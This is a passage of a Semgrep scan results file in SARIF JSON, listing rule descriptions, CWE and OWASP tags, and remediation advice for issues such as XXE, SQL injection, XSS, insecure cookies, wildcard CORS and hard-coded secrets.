Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","id":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","name":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"help":{"markdown":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib)\n","text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib","id":"python.lang.compatibility.python37.python37-compatibility-importlib","name":"python.lang.compatibility.python37.python37-compatibility-importlib","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"help":{"markdown":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie)\n - [https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie](https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie)\n - [https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/](https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/)\n - [https://bento.dev/checks/flask/secure-set-cookie/](https://bento.dev/checks/flask/secure-set-cookie/)\n","text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie","id":"python.django.security.audit.secure-cookies.django-secure-set-cookie","name":"python.django.security.audit.secure-cookies.django-secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.secure-cookies.django-secure-set-cookie"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","id":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","name":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","id":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","name":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","id":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","name":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","id":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","name":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Telegram Bot API Key detected"},"help":{"markdown":"Telegram Bot API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Telegram Bot API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","id":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","name":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","id":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","name":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","properties":{"precision":"very-high","tags":["CWE-79:Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-loadhtmlstring-xss.swift-webview-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"help":{"markdown":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent","id":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","name":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-noent.express-libxml-noent"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli)\n - [https://www.psycopg.org/docs/cursor.html#cursor.execute](https://www.psycopg.org/docs/cursor.html#cursor.execute)\n - [https://www.psycopg.org/docs/cursor.html#cursor.executemany](https://www.psycopg.org/docs/cursor.html#cursor.executemany)\n - [https://www.psycopg.org/docs/cursor.html#cursor.mogrify](https://www.psycopg.org/docs/cursor.html#cursor.mogrify)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', 'active')`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.psycopg-sqli.psycopg-sqli","id":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","name":"python.aws-lambda.security.psycopg-sqli.psycopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.psycopg-sqli.psycopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"help":{"markdown":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://cwe.mitre.org/data/definitions/942.html](https://cwe.mitre.org/data/definitions/942.html)\n","text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"helpUri":"https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors","id":"python.fastapi.security.wildcard-cors.wildcard-cors","name":"python.fastapi.security.wildcard-cors.wildcard-cors","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.security.wildcard-cors.wildcard-cors"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","id":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","name":"kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.sqli.ktor-prepare-statetment-sqli.ktor-prepare-statement-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, 